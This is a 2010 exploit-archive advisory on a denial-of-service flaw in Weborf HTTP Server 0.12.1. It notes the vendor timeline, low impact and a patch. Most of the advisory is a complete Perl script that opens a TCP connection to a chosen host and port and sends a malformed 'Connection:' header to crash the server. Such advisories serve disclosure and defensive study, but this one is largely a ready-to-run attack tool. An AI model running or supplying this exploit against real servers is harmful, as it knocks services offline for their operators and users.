Weborf HTTP Server Denial of Service Vulnerability
Posted on 24 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Weborf HTTP Server Denial of Service Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================== Weborf HTTP Server Denial of Service Vulnerability ================================================== [Software] - Weborf HTTP Server [Vendor Product Description] - Weborf is a lightweight Web server written in C. It supports IPv6 and basic authentication. It doesn't implement the full HTTP specification, but can be used to easily share directories or files. [Bug Description] - Weborf HTTP Server can't handle unicode characters in "Connection: " general header-field leading to a Denial-of-Service flaw [History] - Advisory sent to vendor on 06/21/2010. - Vendor reply 06/22/2010. - Vendor patch published 06/23/2010 [Impact] - Low [Affected Version] -Weborf 0.12.1 - Prior versions may also be vulnerable. [Exploit] #!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request... "; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED! "; print $socket "GET / HTTP/1.0 "; print $socket "Connection: ". " x99" x 4 ." "; close($socket); print "[+] Done! "; sub usage() { print "[-] Usage: <". $0 ."> <host> <port> "; print "[-] Example: ". $0 ." 127.0.0.1 80 "; exit; } --------------------------------------------------------------------------------- ------- # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>